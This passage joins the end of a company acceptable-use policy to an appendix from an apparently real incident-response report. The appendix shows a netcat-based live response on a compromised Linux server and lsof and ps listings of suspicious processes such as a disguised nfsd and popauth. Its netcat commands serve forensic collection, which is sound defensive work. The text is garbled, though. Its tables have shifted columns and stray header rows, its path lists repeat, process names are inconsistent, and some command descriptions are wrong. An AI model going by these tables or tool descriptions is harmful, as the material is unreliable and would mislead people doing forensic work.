5. Because information contained on portable computers is especially vulnerable, special care should be exercised. Protect laptops in accordance with the "Laptop Security Tips".

6. Postings by employees from a Some Company email address to newsgroups should contain a disclaimer stating that the opinions expressed are strictly their own and not necessarily those of Some Company, unless posting is in the course of business duties.

7. All hosts used by the employee that are connected to the Some Company Internet/Intranet/Extranet, whether owned by the employee or Some Company, shall be continually executing approved virus-scanning software with a current virus database. Unless overridden by departmental or group policy.

8. Employees must use extreme caution when opening e-mail attachments received from unknown senders, which may contain viruses, e-mail bombs, or Trojan horse code.

4.3. Unacceptable Use

The following activities are, in general, prohibited. Employees may be exempted from these restrictions during the course of their legitimate job responsibilities (e.g., systems administration staff may have a need to disable the network access of a host if that host is disrupting production services). Under no circumstances is an employee of Some Company authorized to engage in any activity that is illegal under local, state, federal or international law while utilizing Some Company-owned resources.

The lists below are by no means exhaustive, but attempt to provide a framework for activities which fall into the category of unacceptable use.

System and Network Activities

The following activities are strictly prohibited, with no exceptions:

3. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of "pirated" or other software products that are not appropriately licensed for use by Some Company.

4. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

5. Exporting software, technical information, encryption software or technology, in violation of international or regional export control laws, is illegal. The appropriate management should be consulted prior to export of any material that is in question.
6. Introduction of malicious programs into the network or server (e.g., viruses, worms, Trojan horses, e-mail bombs, etc.).
7. Revealing your account password to others or allowing use of your account by others. This includes family and other household members when work is being done at home.
8. Using a Some Company computing asset to actively engage in procuring or transmitting material that is in violation of sexual harassment or hostile workplace laws in the user's local jurisdiction.
9. Making fraudulent offers of products, items, or services originating from any Some Company account.
10. Making statements about warranty, expressly or implied, unless it is a part of normal job duties.
11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, “disruption” includes, but is not limited to, network sniffing, pinged floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee’s host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of “junk mail” or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster’s account, with the intent to harass or to collect replies.
5. Creating or forwarding “chain letters”, “Ponzi” or other “pyramid” schemes of any type.
6. Use of unsolicited email originating from within Some Company’s networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

6.0 Definitions
Term Definition
Spam Unauthorized and/or unsolicited electronic mass mailings.

7.0 Revision History’
Appendix D

Live Response Review

The following unix binary files were used to perform a “live response process” on the Linux 7.3 machine before it was imaged:

nc  ls  date  w  netstat
lsop  ps  lsmod  ifconfig  md5sum
sh

To determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the ‘w’ executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

root@localhost bin# ldd w
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

The command “ls -l” is used to identify the library files required;

```
-rwxr-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 -> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 -> ld-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we’ve ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

<table>
<thead>
<tr>
<th>Forensic Workstation commands</th>
<th>Victim machine commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>-</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>nc -l -v -n -p llll &gt;</td>
<td>/mnt/floppy/date</td>
</tr>
<tr>
<td>starttime.txt</td>
<td>/mnt/floppy/nc 192.168.1.120 llll</td>
</tr>
<tr>
<td>nc -l -v -n -p llll &gt;</td>
<td>/mnt/floppy/w</td>
</tr>
</tbody>
</table>
Table 5 Live response command summary

<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>w.txt</code></td>
<td>Copy output to floppy.</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat-sockets.txt</code></td>
<td>Netstat to track sockets.</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; lsmod.txt</code></td>
<td>List loaded modules.</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; netstat-routes.txt</code></td>
<td>Netstat to list routes.</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; ifconfig.txt</code></td>
<td>Ifconfig to list interfaces.</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; proc-filelist.txt</code></td>
<td>List running processes.</td>
</tr>
<tr>
<td><code>nc -l -v -n -p 1111 &gt; stoptime.txt</code></td>
<td>Stop time tracking.</td>
</tr>
<tr>
<td><code>md5sum -b *.txt &gt; live-response-june30.md5</code></td>
<td>Create a md5 hash of the output.</td>
</tr>
</tbody>
</table>

The live response starts with the execution of a trusted shell using `/mnt/floppy/sh`. The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation `nc` (netcat) is used to wait for the data stream from the victim and write it to the indicated output files. The netcat options are listed below:

- `-l` sets up netcat to listen for an incoming connection.
- `-v` is verbose mode, connection information will be displayed.
- `-n` do not do host or port name lookups.
- `-p <port>` identifies the port netcat will listen on.

The victim machine commands are listed below:

- `date` establishes the startdate for the live response.
- `w` identifies who is logged onto the victim machine.
- `netstat -anp` shows the internet sockets that are open on the victim.
- `lsmod` command helps to identify backdoors and strange network services.
- `ps -auxw` provides the current running processes.
- `ifconfig` shows what kernel modules are loaded.

---

‘netstat -anr’ displays the routing table.
‘ifconfig -a’ shows the configuration of the network interface(s).
‘ls -al /proc’ was missing ‘-R’. Without the ‘-R’ switch the directory listing did not traverse the sub directories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
‘date’ establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIDs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsof.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weit
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsof is shown below:

<table>
<thead>
<tr>
<th>Command</th>
<th>PID</th>
<th>User</th>
<th>FD</th>
<th>TYPE</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td></td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>8896</td>
<td>/sbin/minilogd</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>/lib64/libc-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>/lib686/libc-2.2.5.so</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>0u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>1u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>minilogd</td>
<td>19635</td>
<td>root</td>
<td>2u</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Priority</th>
<th>Type</th>
<th>Size</th>
<th>Device</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>minilogd</td>
<td>root</td>
<td>3</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>4</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem (deleted)</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>5</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>6</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>7</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>8</td>
<td>unix</td>
<td>0xc180540</td>
<td>551280</td>
<td>/dev/log</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>weit</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>minilogd</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201 /var/log/httpd/access_log</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>44198 /var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>40961 /bin</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.2</td>
<td>20914</td>
<td>34503 /usr/bin/weit</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>63490 /lib/libc-2.2.5.so</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>1401027</td>
<td>73730 /lib/libc-2.2.5.so</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183 /var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>26691 /tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>26693 /tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>53319 /tmp:/s</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>40961 /bin</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201 /var/log/httpd/access_log</td>
</tr>
<tr>
<td>weht</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>44198 /var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>55343 /x</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.5</td>
<td>36415</td>
<td>55345 /x/popauth</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>1w</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>2w</td>
<td>CHR</td>
<td>1.3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>38183 /var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>26691 /tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>26693 /tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td></td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>7r</td>
<td>FIFO</td>
<td>0.5</td>
<td>551501</td>
<td>pipe</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>8w</td>
<td>FIFO</td>
<td>0.5</td>
<td>551501</td>
<td>pipe</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>9u</td>
<td>IPv4</td>
<td>551503</td>
<td>UDP</td>
<td>*:3049</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>44201 /var/log/httpd/access_log</td>
</tr>
<tr>
<td>Process</td>
<td>User</td>
<td>Priority</td>
<td>Type</td>
<td>PID</td>
<td>Parent PID</td>
<td>Command</td>
</tr>
<tr>
<td>---------</td>
<td>------</td>
<td>----------</td>
<td>------</td>
<td>-----</td>
<td>------------</td>
<td>------------------</td>
</tr>
<tr>
<td>popauth</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>19685</td>
<td>0</td>
<td>var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>19796</td>
<td>2048</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>19796</td>
<td>1024</td>
<td>2 / /bin/chmod</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>19796</td>
<td>30102</td>
<td>40980 /bin/chmod</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19796</td>
<td>89547</td>
<td>63490 /lib/id-2.2.5.so</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19796</td>
<td>1401027</td>
<td>73730 /lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>19796</td>
<td>0</td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>19796</td>
<td>0</td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>19796</td>
<td>0</td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>19796</td>
<td>0</td>
<td>38183 /var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>19796</td>
<td>0</td>
<td>26691 /tmp/session_mm_apache0.semm</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>19796</td>
<td>8192</td>
<td>26693 /tmp/session_mm_apache0.semm</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>19796</td>
<td>0</td>
<td>550563 can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>19796</td>
<td>1024</td>
<td>20563 /tmp/s/nfsd</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>19796</td>
<td>2048</td>
<td>40961 /bin</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>9u</td>
<td>REG</td>
<td>19796</td>
<td>0</td>
<td>15635 /dev/hdx1</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>10u</td>
<td>sock</td>
<td>19796</td>
<td>0</td>
<td>552454 can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>19796</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>19796</td>
<td>361623</td>
<td>TCP *:https (LISTEN)</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>19796</td>
<td>361624</td>
<td>TCP *:http (LISTEN)</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>19796</td>
<td>285</td>
<td>44201 /var/log/httpd/access_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>19796</td>
<td>0</td>
<td>44198 /var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>19810</td>
<td>2048</td>
<td>40961 /bin</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>19810</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>19810</td>
<td>242909</td>
<td>133050 /usr/sbin/nfsd</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19810</td>
<td>89547</td>
<td>63490 /lib/id-2.2.5.so</td>
</tr>
</tbody>
</table>

File & path of interest:
- /bin
- /lib/id-2.2.5.so
- /lib/nsl
- /lib/ld
- /var/log/httpd/ssl_request_log
- /var/log/httpd/access_log
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /tmp/session_mm_apache0.sem
- /tmp/s/nfsd
- /dev/hdx1
- /usr/sbin/nfsd
- /var/log/httpd/error_log
- /lib/i686/libc
- /lib/ld
- /lib/nsl
- /var/log/httpd/access_log
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /tmp/session_mm_apache0.sem
- /tmp/s/nfsd
- /dev/hdx1
- /usr/sbin/nfsd

Waiting on http & https:
- *:https (LISTEN)
- *:http (LISTEN)

File & path of interest:
- /var/log/httpd/ssl_request_log
- /var/log/httpd/access_log
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /tmp/session_mm_apache0.sem
- /tmp/s/nfsd
- /dev/hdx1
- /usr/sbin/nfsd

Waiting on https:
- *:https (LISTEN)
- *:http (LISTEN)

File & path of interest:
- /var/log/httpd/ssl_request_log
- /var/log/httpd/access_log
- /var/run/httpd.mm.8124.sem
- /tmp/session_mm_apache0.sem
- /tmp/session_mm_apache0.sem
- /tmp/s/nfsd
- /dev/hdx1
- /usr/sbin/nfsd

Waiting on http:
- *:http (LISTEN)
The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogd, weit, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

“/usr/sbin/nfsd -f /sbin/sshd_config”

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a suspicious file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.

<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>VSZ</th>
<th>RSS</th>
<th>TTY</th>
<th>STAT</th>
<th>START</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>apache</td>
<td>10606</td>
<td>0</td>
<td>1</td>
<td>79844</td>
<td>1340</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10607</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10608</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10609</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10610</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10611</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10612</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10613</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>User</td>
<td>PID</td>
<td>Priority</td>
<td>Session</td>
<td>Start Time</td>
<td>Command Line</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-------</td>
<td>-------</td>
<td>----------</td>
<td>---------</td>
<td>------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19365</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19366</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19367</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19368</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19369</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19370</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19371</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19372</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
<td></td>
